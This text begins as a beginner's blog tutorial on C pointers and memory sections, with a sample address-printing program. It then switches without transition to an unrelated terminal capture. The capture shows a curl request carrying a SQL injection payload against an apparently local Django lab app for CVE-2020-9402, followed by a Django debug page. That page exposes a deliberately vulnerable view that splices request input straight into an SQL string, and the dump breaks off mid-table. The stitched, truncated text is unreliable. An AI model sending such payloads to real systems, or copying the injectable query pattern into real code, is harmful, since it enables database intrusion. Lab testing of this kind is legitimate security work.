C column of Pointer <0>

本文深入浅出地介绍了C语言中的指针概念及其应用。从指针的基本定义出发,通过实例详细解释了如何声明和初始化指针变量,并讨论了指针在内存分配中的作用。此外,还提供了一个示例程序来展示不同内存区域中变量地址的获取方法。

In C language , most of us will meet the pointer variable. The pointer represents a memory location which can be accessed by the ampersand (&) operator .If you want to get the value of this address, you can use the asterisk (*) operator . Some C programmers always said the pointer is the most difficult part during learning C language. The same to me. Sometime, I really confused by the pointer . Especially when I refer to a C book wrote by Chinese professor, some conceptions are really hard to understand.
When i meet a pointer's problem , usually i suppose the pointer variable as an address, and the asterisk pointer(like *p) as address's content. Now stop here,let me draw a schematic as below .


  *0x?????? represents an address in the memory

From this schematic , we can declare a variable like this   

int *pointer = (int *)0x??????00;

Here , the pointer points to the address of 0x??????00 ,i just take this pointer variable (declared pointer) as an address.This method is rear case in computer's program,but it's common in embedded device program.But here we don't detail this difference. Actually we often declare a pointer variable then initialize it with the same data type variable's address (We can use the ampersand (&)operator) like this.

int a = 10;//declare a integer variable and initialize it
int *pointer = &a;//declare a integer pointer variable then initialize it with a's address
Here i must emphasize that using a initialized variable to initialize the pointer variable.

Sometime we focus on not only the initialization pointer , but also the value which holds in this address. i can use the asterisk (*) to get the value, like below;

int a = 10;
int *pointer =&a;
int value = *pointer;// Actually value equals 10

Actually , if the pointer points to an unknown address, the value called garbage value, this value has nothing means. Some time this garbage value maybe cause a problem which is very difficult to find out when we debug ur program. 

Before make clear the pointer ,we must know the memory allocation well. Because the pointer just is the memory address (that's  my opinion). So just as the schematic showing below, memory is divided into stack section, heap section, global variables section , constants section and code section. Each section are loaded difference contents which are list below table.


*This schematic really depends on the OS.

MemoryObjects in memory
StackThis section is used to storage the local variables
HeapDynamic memory is allocated when the program is running.
G.Var.A global variable is created here when the program first runs.
ConstantConstants are stored this section (Read only)
CodeThe source code (machine code) (Read only)

Here we go, if we make clear these memory allocation ,we may have found that "all are address". That's the first step, lately we will find we can get the address of a functions just like the variables .

How can we certificate this schematic , i list the program as below. ( gcc compiler with the linux OS). But now how can you get the address of a MACRO like the CONSTANT defined in the below code? That maybe an preprocessor problem. Just tell me if you get it.

/*
*This program is used to watch the memory allocation.
*
*Data 		Apr. 3 2014
*Author 	Johnny Han    
*Email 		emailjohnnyhan@gmail.com
*/
#include <stdio.h>
#include <stdlib.h>

#define CONSTANT 123

//Global Constants
static const int const_a = 2;
const int const_b = 3;
int const const_c = 4;

//Global variables
int global_int_var = 0;
char global_char_var = 0;
double global_db_var = 0;
float global_float_var = 0.0;


static void local_sub_func(int local_a, int local_b);
static void local_sub_func1(int *p,int *q);

int main(void)
{
 //local variables
 int local_i = 0;
 int local_var = 0;
 const int const_d = 5;
 
 //Heap
 int *p = malloc(5*sizeof(int));
 int *q = p;
  if(p == NULL)
 {
  printf("Allocate memory failed!");
  exit(1);
 }

 printf("---------constant----------\n");
 printf("const : %p\n",&const_a);
 printf("const : %p\n",&const_b);
 printf("const : %p\n",&const_c);
 printf("----------------------------\n");

 printf("---------global varible----------\n");
 printf("global_int_var : %p\n",&global_int_var);
 printf("glocal_char_var : %p\n",&global_char_var);
 printf("glocal_db_var : %p\n",&global_db_var);
 printf("glocal_float_var : %p\n",&global_float_var);
 printf("----------------------------\n");

 printf("--------- heap ----------\n");
 for(local_i = 0; local_i < 5; local_i++)
 {
  *p = local_i + 1;
  printf("heap %d : %p\n",local_i,p);
  p++;		
 }//end for
 free(q);
 printf("-----------------------------\n");

 printf("--------- stack----------\n");
 printf("locai_i : %p\n",&local_i);
 printf("locai_var : %p\n",&local_var);
 local_sub_func(local_i,local_var);
 local_sub_func1(&local_i,&local_var);
 printf("----------------------------\n"); 

 return 0;
}

static void local_sub_func(int local_a, int local_b)
{
 printf("locai_a : %p\n",&local_a);
 printf("locai_b : %p\n",&local_b);
}

static void local_sub_func1(int *p,int *q)
{
 printf("locai_p : %p\n",p);
 printf("locai_q : %p\n",q);	
}

I'm so sorry that there is less comment in this code. But i think it's easy for u understand. Here I just declare some variables as the comments said. This program just print the address of each declared variable. We can use malloc() function to allocate a block of memory in the heap section. Surely ,don't forget to free this section after exit the program (sometime our OS helps me to free them when the program exit, but i think we should have a good manner to code).

The result of this code is as below.


From the printing result , we know that the memory allocation is the same as the above schematic showing.

This chapter, I just enlarge upon some statements the "C column Pointer<0>" , so i named it Pointer<0.9>. There maybe something wrong about the spelling, the sentences or even the grammar.Please forgive me, i just the newer.But i try my best to express the C language as correctly as possible.

Thankyou! Have a nice day!

zzz@zzz-virtual-machine:~/Desktop$ curl -H "Host: localhost" "http://192.168.20.128:8000/?geom=SRID=4326;SELECT%20version();--" <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="robots" content="NONE,NOARCHIVE"> <title>OperationalError at /</title> <style type="text/css"> html * { padding:0; margin:0; } body * { padding:10px 20px; } body * * { padding:0; } body { font:small sans-serif; background-color:#fff; color:#000; } body>div { border-bottom:1px solid #ddd; } h1 { font-weight:normal; } h2 { margin-bottom:.8em; } h3 { margin:1em 0 .5em 0; } h4 { margin:0 0 .5em 0; font-weight: normal; } code, pre { font-size: 100%; white-space: pre-wrap; } table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; } tbody td, tbody th { vertical-align:top; padding:2px 3px; } thead th { padding:1px 6px 1px 3px; background:#fefefe; text-align:left; font-weight:normal; font-size:11px; border:1px solid #ddd; } tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; } table.vars { margin:5px 0 2px 40px; } table.vars td, table.req td { font-family:monospace; } table td.code { width:100%; } table td.code pre { overflow:hidden; } table.source th { color:#666; } table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; } ul.traceback { list-style-type:none; color: #222; } ul.traceback li.frame { padding-bottom:1em; color:#4f4f4f; } ul.traceback li.user { background-color:#e0e0e0; color:#000 } div.context { padding:10px 0; overflow:hidden; } div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; } div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; } div.context ol li pre { display:inline; } div.context ol.context-line li { color:#464646; background-color:#dfdfdf; padding: 3px 2px; } div.context ol.context-line li span { position:absolute; right:32px; } .user div.context ol.context-line li { background-color:#bbb; color:#000; } .user div.context ol li { color:#666; } div.commands { margin-left: 40px; } div.commands a { color:#555; text-decoration:none; } .user div.commands a { color: black; } #summary { background: #ffc; } #summary h2 { font-weight: normal; color: #666; } #explanation { background:#eee; } #template, #template-not-exist { background:#f6f6f6; } #template-not-exist ul { margin: 0 0 10px 20px; } #template-not-exist .postmortem-section { margin-bottom: 3px; } #unicode-hint { background:#eee; } #traceback { background:#eee; } #requestinfo { background:#f6f6f6; padding-left:120px; } #summary table { border:none; background:transparent; } #requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; } #requestinfo h3 { margin-bottom:-1em; } .error { background: #ffc; } .specific { color:#cc3300; font-weight:bold; } h2 span.commands { font-size:.7em; font-weight:normal; } span.commands a:link {color:#5E5694;} pre.exception_value { font-family: sans-serif; color: #575757; font-size: 1.5em; margin: 10px 0 10px 0; } .append-bottom { margin-bottom: 10px; } </style> <script type="text/javascript"> function hideAll(elems) { for (var e = 0; e < elems.length; e++) { elems[e].style.display = 'none'; } } window.onload = function() { hideAll(document.querySelectorAll('table.vars')); hideAll(document.querySelectorAll('ol.pre-context')); hideAll(document.querySelectorAll('ol.post-context')); hideAll(document.querySelectorAll('div.pastebin')); } function toggle() { for (var i = 0; i < arguments.length; i++) { var e = document.getElementById(arguments[i]); if (e) { e.style.display = e.style.display == 'none' ? 'block': 'none'; } } return false; } function varToggle(link, id) { toggle('v' + id); var s = link.getElementsByTagName('span')[0]; var uarr = String.fromCharCode(0x25b6); var darr = String.fromCharCode(0x25bc); s.textContent = s.textContent == uarr ? darr : uarr; return false; } function switchPastebinFriendly(link) { s1 = "Switch to copy-and-paste view"; s2 = "Switch back to interactive view"; link.textContent = link.textContent.trim() == s1 ? s2: s1; toggle('browserTraceback', 'pastebinTraceback'); return false; } </script> </head> <body> <div id="summary"> <h1>OperationalError at /</h1> <pre class="exception_value">no such column: None</pre> <table class="meta"> <tr> <th>Request Method:</th> <td>GET</td> </tr> <tr> <th>Request URL:</th> <td>http://localhost/?geom=SRID=4326;SELECT%20version();--</td> </tr> <tr> <th>Django Version:</th> <td>3.0.3</td> </tr> <tr> <th>Exception Type:</th> <td>OperationalError</td> </tr> <tr> <th>Exception Value:</th> <td><pre>no such column: None</pre></td> </tr> <tr> <th>Exception Location:</th> <td>/root/django_cve_2020_9402/app/views.py in index, line 10</td> </tr> <tr> <th>Python Executable:</th> <td>/usr/bin/python3</td> </tr> <tr> <th>Python Version:</th> <td>3.10.12</td> </tr> <tr> <th>Python Path:</th> <td><pre>['/root/django_cve_2020_9402', '/usr/lib/python310.zip', '/usr/lib/python3.10', '/usr/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/dist-packages', '/usr/lib/python3/dist-packages']</pre></td> </tr> <tr> <th>Server time:</th> <td>Sun, 30 Nov 2025 15:18:38 +0000</td> </tr> </table> </div> <div id="traceback"> <h2>Traceback <span class="commands"><a href="#" onclick="return switchPastebinFriendly(this);"> Switch to copy-and-paste view</a></span> </h2> <div id="browserTraceback"> <ul class="traceback"> <li class="frame django"> <code>/usr/local/lib/python3.10/dist-packages/django/core/handlers/exception.py</code> in <code>inner</code> <div class="context" id="c139322623517440"> <ol start="27" class="pre-context" id="pre139322623517440"> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> This decorator is automatically applied to all middleware to ensure that</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> no middleware leaks an exception and that the next middleware in the stack</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> can rely on getting a response instead of an exception.</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> """</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> @wraps(get_response)</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> def inner(request):</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> try:</pre></li> </ol> <ol start="34" class="context-line"> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> response = get_response(request)</pre> <span>…</span></li> </ol> <ol start='35' class="post-context" id="post139322623517440"> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> except Exception as exc:</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> response = response_for_exception(request, exc)</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> return response</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> return inner</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre></pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre></pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623517440')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623517440"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>exc</td> <td class="code"><pre>OperationalError('no such column: None')</pre></td> </tr> <tr> <td>get_response</td> <td class="code"><pre><bound method BaseHandler._get_response of <django.core.handlers.wsgi.WSGIHandler object at 0x7eb69376d8d0>></pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> </tbody> </table> </li> <li class="frame django"> <code>/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code> <div class="context" id="c139322623522112"> <ol start="108" class="pre-context" id="pre139322623522112"> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> break</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre></pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> try:</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> except Exception as e:</pre></li> </ol> <ol start="115" class="context-line"> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> response = self.process_exception_by_middleware(e, request)</pre> <span>…</span></li> </ol> <ol start='116' class="post-context" id="post139322623522112"> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre></pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> # Complain if the view returned None (a common error).</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> view_name = callback.__name__</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> else: # CBV</pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623522112')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623522112"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> <tr> <td>callback_args</td> <td class="code"><pre>()</pre></td> </tr> <tr> <td>callback_kwargs</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>middleware_method</td> <td class="code"><pre><bound method CsrfViewMiddleware.process_view of <django.middleware.csrf.CsrfViewMiddleware object at 0x7eb69376d660>></pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> <tr> <td>resolver</td> <td class="code"><pre><URLResolver 'vuln.urls' (None:None) '^/'></pre></td> </tr> <tr> <td>resolver_match</td> <td class="code"><pre>ResolverMatch(func=app.views.index, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[], route=)</pre></td> </tr> <tr> <td>response</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>self</td> <td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7eb69376d8d0></pre></td> </tr> <tr> <td>wrapped_callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> </tbody> </table> </li> <li class="frame django"> <code>/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code> <div class="context" id="c139322623521664"> <ol start="106" class="pre-context" id="pre139322623521664"> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> response = middleware_method(request, callback, callback_args, callback_kwargs)</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if response:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> break</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre></pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> try:</pre></li> </ol> <ol start="113" class="context-line"> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre> <span>…</span></li> </ol> <ol start='114' class="post-context" id="post139322623521664"> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> except Exception as e:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> response = self.process_exception_by_middleware(e, request)</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre></pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> # Complain if the view returned None (a common error).</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623521664')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623521664"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> <tr> <td>callback_args</td> <td class="code"><pre>()</pre></td> </tr> <tr> <td>callback_kwargs</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>middleware_method</td> <td class="code"><pre><bound method CsrfViewMiddleware.process_view of <django.middleware.csrf.CsrfViewMiddleware object at 0x7eb69376d660>></pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> <tr> <td>resolver</td> <td class="code"><pre><URLResolver 'vuln.urls' (None:None) '^/'></pre></td> </tr> <tr> <td>resolver_match</td> <td class="code"><pre>ResolverMatch(func=app.views.index, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[], route=)</pre></td> </tr> <tr> <td>response</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>self</td> <td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7eb69376d8d0></pre></td> </tr> <tr> <td>wrapped_callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> </tbody> </table> </li> <li class="frame user"> <code>/root/django_cve_2020_9402/app/views.py</code> in <code>index</code> <div class="context" id="c139322623518016"> <ol start="3" class="pre-context" id="pre139322623518016"> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre>import sqlite3</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre></pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre>def index(request):</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> id = request.GET.get('id')</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> # 漏洞点:直接拼接 SQL,触发注入</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> conn = sqlite3.connect('db.sqlite3')</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> cursor = conn.cursor()</pre></li> </ol> <ol start="10" class="context-line"> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> cursor.execute(f"SELECT id, name FROM app_userinfo WHERE id = {id}")</pre> <span>…</span></li> </ol> <ol start='11' class="post-context" id="post139322623518016"> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> results = cursor.fetchall()</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> conn.close()</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> data = [{'id': row[0], 'name': row[1]} for row in results]</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> return JsonResponse(data, safe=False)</pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623518016')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623518016"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>conn</td> <td class="code"><pre><sqlite3.Connection object at 0x7eb694722d40></pre></td> </tr> <tr> <td>cursor</td> <td class="code"><pre><sqlite3.Cursor object at 0x7eb693681040></pre></td> </tr> <tr> <td>id</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> </tbody> </table> </li> </ul> </div> <form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post"> <div id="pastebinTraceback" class="pastebin"> <input type="hidden" name="language" value="PythonConsole"> <input type="hidden" name="title" value="OperationalError at /"> <input type="hidden" name="source" value="Django Dpaste Agent"> <input type="hidden" name="poster" value="Django"> <textarea name="content" id="traceback_area" cols="140" rows="25"> Environment: Request Method: GET Request URL: http://localhost/?geom=SRID=4326;SELECT%20version();-- Django Version: 3.0.3 Python Version: 3.10.12 Installed Applications: ['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'app'] Installed Middleware: ['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware'] Traceback (most recent call last): File "/usr/local/lib/python3.10/dist-packages/django/core/handlers/exception.py", line 34, in inner response = get_response(request) File "/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py", line 115, in _get_response response = self.process_exception_by_middleware(e, request) File "/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py", line 113, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/root/django_cve_2020_9402/app/views.py", line 10, in index cursor.execute(f"SELECT id, name FROM app_userinfo WHERE id = {id}") Exception Type: OperationalError at / Exception Value: no such column: None </textarea> <br><br> <input type="submit" value="Share this traceback on a public website"> </div> </form> </div> <div id="requestinfo"> <h2>Request information</h2> <h3 id="user-info">USER</h3> <p>AnonymousUser</p> <h3 id="get-info">GET</h3> <table class="req"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>geom</td> <td class="code"><pre>'SRID=4326'</pre></td> </tr> <tr> <td>SELECT version()</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>--</td> <td class="code"><pre>''</pre></td> </tr> </tbody> </table> <h3 id="post-info">POST</h3> <p>No POST data</p> <h3 id="files-info">FILES</h3> <p>No FILES data</p> <h3 id="cookie-info">COOKIES</h3> <p>No cookie data</p> <h3 id="meta-info">META</h3> <table class="req"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>COLORTERM</td> <td class="code"><pre>'truecolor'</pre></td> </tr> <tr> <td>CONTENT_LENGTH</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>CONTENT_TYPE</td> <td class="code"><pre>'text/plain'</pre></td> </tr> <tr> <td>DEBUGINFOD_URLS</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>DISPLAY</td> <td class="code"><pre>':0'</pre></td> </tr> <tr> <td>DJANGO_SETTINGS_MODULE</td> <td class="code"><pre>'vuln.settings'</pre></td> </tr> <tr> <td>GATEWAY_INTERFACE</td> <td class="code"><pre>'CGI/1.1'</pre></td> </tr> <tr> <td>HOME</td> <td class="code"><pre>'/root'</pre></td> </tr> <tr> <td>HTTP_ACCEPT</td> <td class="code"><pre>'*/*'</pre></td> </tr> <tr> <td>HTTP_HOST</td> <td class="code"><pre>'localhost'</pre></td> </tr> <tr> <td>HTTP_USER_AGENT</td> <td class="code"><pre>'curl/7.81.0'</pre></td> </tr> <tr> <td>LANG</td> <td class="code"><pre>'en_US.UTF-8'</pre></td> </tr> <tr> <td>LANGUAGE</td> <td class="code"><pre>'en_US:'</pre></td> </tr> <tr> <td>LC_ADDRESS</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_IDENTIFICATION</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_MEASUREMENT</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_MONETARY</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_NAME</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_NUMERIC</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_PAPER</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_TELEPHONE</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_TIME</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LESSCLOSE</td> <td class="code"><pre>'/usr/bin/lesspipe %s %s'</pre></td> </tr> <tr> <td>LESSOPEN</td> <td class="code"><pre>'| /usr/bin/lesspipe %s'</pre></td> </tr> <tr> <td>LOGNAME</td> <td class="code"><pre>'root'</pre></td> </tr> <tr> <td>LS_COLORS</td> <td class="code"><pre>'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:'</pre></td> </tr> <tr> <td>MAIL</td> <td class="code"><pre>'/var/mail/root'</pre></td> </tr> <tr> <td>OLDPWD</td> <td class="code"><pre>'/root/vulhub/django/CVE-2020-9402/src'</pre></td> </tr> <tr> <td>PATH</td> <td class="code"><pre>'/xp/server/docker:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin:/xp/server/docker'</pre></td> </tr> <tr> <td>PATH_INFO</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>PWD</td> <td class="code"><pre>'/root/django_cve_2020_9402'</pre></td> </tr> <tr> <td>QUERY_STRING</td> <td class="code"><pre>'geom=SRID=4326;SELECT%20version();--'</pre></td> </tr> <tr> <td>REMOTE_ADDR</td> <td class="code"><pre>'192.168.20.128'</pre></td> </tr> <tr> <td>REMOTE_HOST</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>REQUEST_METHOD</td> <td class="code"><pre>'GET'</pre></td> </tr> <tr> <td>RUN_MAIN</td> <td class="code"><pre>'true'</pre></td> </tr> <tr> <td>SCRIPT_NAME</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>SERVER_NAME</td> <td class="code"><pre>'zzz-virtual-machine'</pre></td> </tr> <tr> <td>SERVER_PORT</td> <td class="code"><pre>'8000'</pre></td> </tr> <tr> <td>SERVER_PROTOCOL</td> <td class="code"><pre>'HTTP/1.1'</pre></td> </tr> <tr> <td>SERVER_SOFTWARE</td> <td class="code"><pre>'WSGIServer/0.2'</pre></td> </tr> <tr> <td>SHELL</td> <td class="code"><pre>'/bin/bash'</pre></td> </tr> <tr> <td>SHLVL</td> <td class="code"><pre>'1'</pre></td> </tr> <tr> <td>SUDO_COMMAND</td> <td class="code"><pre>'/bin/bash'</pre></td> </tr> <tr> <td>SUDO_GID</td> <td class="code"><pre>'1000'</pre></td> </tr> <tr> <td>SUDO_UID</td> <td class="code"><pre>'1000'</pre></td> </tr> <tr> <td>SUDO_USER</td> <td class="code"><pre>'zzz'</pre></td> </tr> <tr> <td>TERM</td> <td class="code"><pre>'xterm-256color'</pre></td> </tr> <tr> <td>TZ</td> <td class="code"><pre>'UTC'</pre></td> </tr> <tr> <td>USER</td> <td class="code"><pre>'root'</pre></td> </tr> <tr> <td>XAUTHORITY</td> <td class="code"><pre>'/run/user/1000/.mutter-Xwaylandauth.T2BDG3'</pre></td> </tr> <tr> <td>XDG_CURRENT_DESKTOP</td> <td class="code"><pre>'ubuntu:GNOME'</pre></td> </tr> <tr> <td>XDG_DATA_DIRS</td> <td class="code"><pre>'/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop'</pre></td> </tr> <tr> <td>_</td> <td class="code"><pre>'/usr/bin/python3'</pre></td> </tr> <tr> <td>wsgi.errors</td> <td class="code"><pre><_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'></pre></td> </tr> <tr> 